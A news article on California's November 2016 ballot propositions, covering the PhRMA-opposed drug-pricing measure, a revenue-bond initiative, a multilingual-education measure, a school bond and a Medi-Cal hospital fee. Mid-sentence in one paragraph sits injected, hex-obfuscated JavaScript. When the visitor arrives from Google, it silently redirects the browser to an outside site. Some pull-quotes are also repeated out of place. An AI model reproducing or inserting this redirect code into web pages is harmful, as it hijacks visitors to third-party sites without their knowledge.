November: Ballot props lining up

A California voter casts a ballot. (Photo: Vepar5)

One thing about California’s lineup of looming ballot propositions: You can’t say they aren’t interesting.

The general election isn’t until November, but the array of measures facing voters is taking shape.

From school bonds to the environment to condoms to drugs to plastic bags, and more, voters already are set to vote on seven propositions on the November ballot.

So far, the largest sum raised to block an initiative is $39 million from the Pharmaceutical Research and Manufacturing of America.

And there are more in the wings: Backers of another 66 proposed initiatives are in the process of gathering signatures var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Those include legalizing the recreational use of marijuana and boosting the minimum wage.

The longest list of propositions on a single California ballot, 48, was on the Nov. 3, 1914 ballot.

The plastic bag industry’s referendum to overturn California’s law banning plastic bags has been on the November 2016 ballot for a while – it qualified not long after the original law was passed. The referendum’s supporters have gathered $4 million during the past two years to get it approved.

But so far, the largest sum raised to block an initiative is $39 million from the Pharmaceutical Research and Manufacturing of America, or PhRMA, which represents drug companies in California and across the country.

The high-stakes proposition would prohibit California from paying more for drugs than the amount paid by the U.S. Department of Veterans Affairs.

The AIDs Healthcare Foundation, which has tried twice and failed to pass this through the Legislature, turned to the ballot.

“PhRMA has too much influence over the Legislature,” said Foundation President Michael Weinstein. “It’s going to be a long ballot. I believe this one will get more attention than other ones.”

A similar initiative has been introduced in Ohio and faces opposition from PhRMA there, Weinstein said.

Dean Cortopassi’s proposition requires revenue bonds in excess of $2 billion to be voted on in statewide elections.

But the drug industry said proponents are misrepresenting the initiative by claiming it will lower drug prices.

Industry spokeswoman Kathy Fairbanks said past efforts to expand the discount that Veterans Affairs receives have yielded higher prices for veterans and others.

She also said it could change the way California contracts with the drug manufacturers, which offer a rebate to the state to get their drugs on a list that does not require prior doctor approval. If the initiative passed, Fairbanks added, drug manufacturers might have to stop offering rebates to the state and their drugs would be taken off the list so patients might have to wait for their drugs.

“People in California will evaluate this policy and decide if it affects them positively or negatively,” Fairbanks said.

Another big-dollar initiative — $4 million and counting — is Delta farmer Dean Cortopassi’s proposition requiring revenue bonds in excess of $2 billion to be voted on in statewide elections.

The initiative, which critics, including the California Chamber of Commerce, say is aimed at blocking a massive public works project in the Sacramento-San Joaquin River Delta, also prohibits dividing the amount of the bond to avoid sending it to the ballot.

The Lara measure gives teachers, schools and parents the choice to enroll students in a multilingual program.

“Californians should have the right to vote on all state bond expenditures because voters today, along with future generations, will have to pay back both the amount borrowed and the interest payments over the next several years – if not decades,” Protect Your Right to Vote on Bonds spokesperson Marie Brichetto said in an email. “If voters have to pay, they should have a say.”

A lawyer for Cortopassi’s initiative, Kurt Oneto, said the proposition would not apply to previously sold bonds, but that it would apply to bonds that have not yet been marketed — such as those envisioned for the Delta tunnels and the bullet train. Oneto also said the critics’ contention that funding for projects would be delayed is not accurate — the Legislature would be able to put the bond on any statewide election ballot, even calling a special election.

California voters have voted on general obligation bonds, or G.O. bonds, since 1849. These bonds are backed by the “full faith and credit” of California, and the bonds’ principle and interest are covered by the state’s general fund. The general fund is the state’s main budget coffer of sales, income and corporate taxes.

Revenue bonds are used to finance “income-generating” projects. Revenue bond holders are paid from a project’s revenue, which can be gathered through a toll or fee paid by those using the project, and not through the general fund.

The initiative would cause “enormous collateral damage,” said critic Loren Kaye, the president of the California Foundation for Commerce and Education, a Chamber-backed group. “What does this mean for state and local infrastructure?”

Kaye said the initiative “erodes” local control in cases where communities partner with the state to build bridges or facilities. Under the proposed initiative, he said, California voters outside of those areas would have the ability to deny funds for local projects. “This will hamper all revenue bonds in the state,” Kaye said.

A $9 billion general obligation bond would finance to new construction and modernize school facilities.

A couple of the initiatives set to be voted on this November have no recorded opposition.

A proposal by Sen. Ricardo Lara, D-Bell Gardens, would modify Proposition 227, the controversial  “English-only” initiative that voters approved in June 1998. The Lara measure gives teachers, schools and parents the choice to enroll students in a multilingual program.

Since the passage of Proposition 227, the number of schools offering multilingualism has declined, Lara said. The schools can still offer these programs, but they have to renew a waiver to continue providing that program. Charter and private schools, meanwhile, do not have that requirement.

This change to the law would create “a fair playing ground at public schools” as they would no longer have to apply for that waver every year, Lara said.

One proposition would indefinitely extend the fee hospitals pay to the state in order to receive more matching federal funds for Medi-Cal,

“We need to ensure that future Californians can speak world languages,” Lara said.

We need to “get ready to compete in a global economy,” Lara added, “and I think that time is now.”

Another education-related proposition is a $9 billion general obligation bond that includes $3 billion for new construction, $3 billion for modernization, $2 billion for community colleges, and $500 million each for charter schools and career technical education programs.

“You have the classroom and the teacher, and this is the classroom part,” said David Walrath with the Coalition for Adequate School Housing.

This is just a “continuation of the program that’s been approved by the voters four times before,” Walrath said, “nothing else.”

A proposition that would indefinitely extend the fee hospitals pay to the state in order to receive more matching federal funds for Medi-Cal, the state’s low-income health care program. Hospitals voluntarily agreed to pay this fee in 2009 and again a few years later.

They did this “to leverage their money to bring in California’s fair share,” said campaign spokesperson Kevin Rigg, “and [they] want to make sure that agreement continues.”

The proposition would require that all the money collected from the hospitals be used for Medi-Cal programs. Under current law, the Legislature can take some and use it in the general fund. If this initiative were to pass, the Legislature would need a supermajority to change the use of these funds.

“Medi-Cal continues to grow in number,” Riggs said. “[It’s] become a more important source of health care.”

All these initiatives are set to come before voters in November.

As of Feb. 4, an initiative to raise the minimum wage to $15 in 2021 was undergoing signature verification.

Three other initiatives, including one to modify Proposition 13 to increase taxes on property valued at more than $3 million, have gathered 25 percent of the signatures needed.

“I wouldn’t be surprised if 20 or more [ended up on the ballot],” Riggs said.

Ed’s Note: Corrects 19th graf to show that ballot proposal does not apply to already sold bonds; adds detail of funding division for $9 billion schools bond, 30th graf; deletes “hotly contested” characterization from 35th graf.

Want to see more stories like this? Sign up for The Roundup, the free daily newsletter about California politics from the editors of Capitol Weekly. Stay up to date on the news you need to know.

Sign up below, then look for a confirmation email in your inbox.


Support for Capitol Weekly is Provided by: